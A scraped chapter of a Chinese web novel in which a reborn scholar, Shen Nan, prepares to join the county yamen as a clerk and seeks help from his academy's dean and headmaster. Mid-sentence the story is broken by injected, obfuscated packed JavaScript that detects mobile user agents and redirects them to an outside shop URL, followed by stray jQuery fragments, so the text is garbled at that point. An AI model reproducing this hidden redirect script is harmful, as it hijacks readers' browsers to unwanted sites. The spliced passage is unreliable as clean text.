54. 第五十四章 上班前奏

作品:《重生之小夫妻奋斗记

    很多人对于接到,第二天去县衙上班,肯定人心惶惶。但是沈楠不一样,他前世已经县衙里的老油条了,现在等于是二进宫。不过还是要回到家中,和老娘媳妇交代一声。


    张秀儿也没想到县衙里面那么快给通知,只能出主意道:“你要不要去你舅家一趟。毕竟他在衙门里多年,明天可以让他带你去承发房报道。”


    “你要是自己不愿意去,我和你一起去。”她记得儿子对张家的疏离,不过现在也不是讲面子的时候了。


    “我舅在户房担任书吏,我是去承发房担任经书。”沈楠给母亲解释道:“我俩根本就不是一个房的人,而且哪有位阶低,去带着位阶高报道。这样让人感觉自己先输了一头。”


    张秀儿也是疾病乱投医,自己身边认识的人,也只有大哥在衙门里当差。其他人都是商贾家的媳妇,并且自己去了兴和后,和其他人家交往少了,交情也就淡了。


    沈楠前世在县衙里混过多年。外面的人看来里面都是官差,但是实际上县衙里除了官老爷们,还有大大小小吏员上百人,衙役上百人,还有各种帮杂几十人。各房职能清晰,大家平时泾渭分明。


    不是自己房里的人,说话都没人听。不是自己的活,伸手就会被打。


    而且自己的舅舅在县衙里混了二十几年了,还是个书吏,明显是混得不咋地。户房主管田亩赋税,三十多个经书竞争激烈,但是干了那么长时间,论资排辈也能排上经书了。


    李迎春不认识衙门什么人,只能在旁边说:“那需要准备些什么?你明天几点去?我早点安排做饭。”


    “给我准备五十两银子吧,明天去承发房拜完典吏,需要交参费。”


    “五十两?”李迎春知道进衙门当差需要交钱,只是没想到要交那么多。


    很多人以为去县衙里当小吏,朝廷是给你发钱的话。你就大错特错了,要先交一笔,放在承发房的总帐户上。


    沈楠也是前世琢磨了好久,才明白的事实。整个县衙里登记在册的吏员只有典吏,朝廷才会给你发薪水,承认你的地位,把你的名册报到府衙存档。你享受干够五年,去参加吏员考试,给你成为低阶官僚的机会。当然你干完五年,就不能在衙门里任职了。


    其他的人从经书开始,都是县衙外聘人员。外聘人员是不是县衙需要给你发薪水,你错了,名义上你是良家子来服劳役,也就是说县衙用服劳役来代替你的薪水。那么你怎么养家糊口呢,各房的经书等其他小吏轮班在县衙上班,基本上是三个月一班,不到你轮班的时间,你去挣钱处理自家的事务。


    当年沈楠想明白这件事之后,心里骂了一句,狗屁官府。都说当学徒是做白工,但最起码当学徒还管吃管喝,官府这完全是倒贴做白工。


    当然也不是一分钱没有,各房都有小金库,典吏会根据自己房的收入,对下面的人员发补助。这就完全看各房各人的手段了,反正没听说过饿肚子的,到是在县城里买房置产日渐增多。


    “还有我要是去了,是房里的新人。你提前给我准备一套被褥,恐怕我需要在衙门里值班了。”沈楠又提了一句。


    其他沈楠没有再交代。自己好歹还是上辈子混过衙门的,不能这辈子混得还没有上辈子好了。


    沈楠在家吃了午饭,然后转头提着礼物去了陶城书院。


    他自从被李教瑜威胁要放弃科举,去县衙里当经书的时候。就在想自己一个人去了县衙,如果没有背景和靠山,在那个亲朋组成的大网里肯定举步维艰。自己必然要仰仗李教瑜鼻息,最起码开始的时候是这样。


    他想了很久,如果不被李教瑜威胁,那么自己需要给自己找个更大的靠山。


    县衙里最大的靠山是知县,但是知县怎么会对自己另眼相看呢。


    想来想去,自己身上也有另外一个标签,他是陶城书院的学生呀!


    每年陶城书院的学生,都是县里的精英。除了少数考上进士、举人之外,大部分都继续留在本县生活,据他所知有一部分在县衙里当吏员。比如礼房的王典吏,当初也是陶城书院的学生,只不过他止步于秀才,后来就去了衙门当了小吏。他要是能够和这些人站在一起,那么在县衙里应该没有人小觑他了。


    每年的七月,是陶城书院最悠闲的时刻。院试考完了,下面的秋闱已经不是书院能力的范围内了,下面需要学生自己去拼杀。


    齐教务长舒服的呆在会客厅,冰鉴的凉气让他远离外面的酷暑。


    沈楠走过熟悉的文昌阁,想着自己去年的时光,那时自己还是一届白身,最大的烦恼是什么时候能够把县试过了。今年来这里,已经是秀才的身份,最大的烦恼变成了不能参加乡试。人的欲望真的是无穷尽呀!


    沈楠看着文昌阁里面那那棵茂盛的紫藤花,问道旁边的杂役:“你知道这颗紫藤花栽种多少年头了吗?”


    带路的杂役愣了一下,没想过居然有人问起这个问题。不过眼前这人今年新中的秀才,他不敢得罪,仔细回想自己听到的消息:“书院的前身,是前朝县里豪强的别院。齐老院长把书院建到这里,也是看重这处别院,已经初具规模。眼前的假山就是当时留下来的。推测这紫藤恐怕也是当年的栽种的。”


    沈楠停下来,站在紫藤树下,驻足观赏。无论人的欲望怎么变化,紫藤花依然是每年都会开放。他心里被李教瑜强迫的那股怨气,不知为何,在这一瞬间一下子就消失了。


    他回过头,看着杂役,笑道:“不知道,我今天来能否有幸在教务长那里品尝到油炸紫藤。”


    杂役瞬间松了一口气,刚才还在担心,自己的回答得罪了眼前的相公。


    “您来的正巧。齐教务长今天通知厨房给炸紫藤鱼,来配好酒。”


    齐教务长昨天收到沈楠帖子的时候,还是蛮惊讶的。


    每年书院毕业的学生,很少有单独再回到书院的拜见他的。


    不过,面对沈楠,他还是有些自得。


    去年沈楠申请重新入学的时候,他就看出来这是个有出息的学生,果然不出意料,居然一举考中了秀才。


    自己的堂哥看到秀才的名单也是啧啧称奇。


    所以他就欣然应允了沈楠的拜访。不知道等会儿这次来是有何意图,如果是为了乡试提高学业,自己还是能推荐府城一二名师的。


    沈楠进屋后,看见齐教务长身穿宽松的常服,没有被纶巾束发,手摇孔明扇,一身逍遥的走了过来。


    感叹道:“教务长真是好风雅!”


    齐轩被这个小小的马屁拍个正着,哈哈大笑。引着沈楠进入会客厅。


    两人分主宾落座。


    齐轩问道:“我听闻你这次秋闱不去参加了,要在家苦读?”


    沈楠笑道:“是的。教务长也知道我的秀才也算侥幸而来。思来想去还是不去省城自曝其短了。”


    齐轩听到这里,心想看来和自己之前预想的差不多。暗自琢磨起来,自己认识府城的名师有哪些适合沈楠的。


    没想到,下面沈楠直接给他暴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213306|194934||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了个大雷,把李教瑜威胁他去当经书的事,详详细细给齐轩说了一遍。


    “你说什么?李慕贤这个竖子,居然让你去县衙里当小吏。”齐轩气的真呼其名,破口大骂。


    能在书院当那么长时间的教务长,除了家族的安排,最主要还是齐轩喜欢当夫子,喜欢教学生。要不然每天管理二三百个上串下跳、精力旺盛的学生,烦也烦死了。


    当老师教书育人,最开心就是看到自己的学生成才。


    结果,自己好不容易培育出来一个好苗子,才看到他小荷才露尖尖角,就被人强行折断。


    真的是气死了!


    齐轩站起来,在屋里来回度步。


    “不行,你给我等着。我去找山长,李慕贤欺人太甚!”


    齐轩一刻也没有耽误,直接带着沈楠就去了齐岳那里。


    沈楠直接傻眼了,他这次来,主要是想齐教务长介绍几个以前在书院读书,现在县衙当小吏的的前辈,让他不至于当差孤立无援,没想到会直接捅到山长那里。


    齐岳看着眼前的年青人,问道:“你和李教瑜家里有亲缘吗?”


    “我大哥家的大侄子沈明耀和黄家学堂黄立家的女儿订婚了。黄夫子和李教瑜是连襟。”沈楠老实回答。


    “这算是什么亲戚!”齐轩忿忿不平道。


    “那你考中秀才后,有没有找李教瑜请托过,帮你谋一份差事。”


    “我家中小有余产。县城里的珍馐楼是我大哥沈楠的,供应我科举应该是没有问题的。而且我今年才十九岁。”


    “那你来书院所请何事?”


    “李教瑜保荐我去县衙任经书。我不敢不从。不过家中一直经营食铺,对衙门一无所知。思来想去,我所学皆来自书院,唯有向书院请教方是良策。齐教务长从我复学后,对我教育良多。所以才敢前来叨扰。”


    齐岳第一次真正看见眼前的年青人,很多人都说他是上次考的幸运儿。连他也受到影响,认为沈楠是机缘巧合,才成为秀才。但是却忘了,世间哪有那么多机缘巧合,只是有看不见的努力。


    从陶城书院出去学生那么多,大部分也只是走到秀才,或者连秀才都没有走到。在科举这条路上,秀才只能是门槛。这些刚刚达到门槛的学生,可以说是科举的失败者。这么多年这些学生失败后,没有人来向书院求助,只是褪去长衫,为生活奔波。


    看着眼前生机勃勃,带着点野心的年青人。


    他笑着坐了下来,也让自己的堂弟和沈楠都坐了下来。然后让书童给几人送上茶点。屋里的气氛一下子缓和了下来。


    齐岳看着神情急迫的堂弟,用眼神安抚了一下。


    接着问道:“我刚才听你说,李慕贤本来打算让你去礼房,结果知县最后决断是去承发房。”


    “是的。之前李教瑜明确说,已经让礼房王典吏保荐我。我去王典吏的家里,将个人身份证明和乡老的保函交给了王典吏。”


    齐岳作为山长,经常需要与礼房打交道,与王典吏相熟。在齐岳看来,王典吏可比李教瑜好打交道多了,很多消息都是王典吏透露给他的。


    “既然你和王典吏相熟,也是由他保荐的。我给你写个帖子,你去找王典吏吧。你们都是书院毕业的,总有一份香火情。”


    沈楠大喜所望,齐山长的帖子可是很难得。作为县里唯二的进士,很多人争着要拜见齐山长都是不可得。


    齐轩也很高兴。有了堂哥的帖子,王典吏怎么也要卖几分面子给沈楠。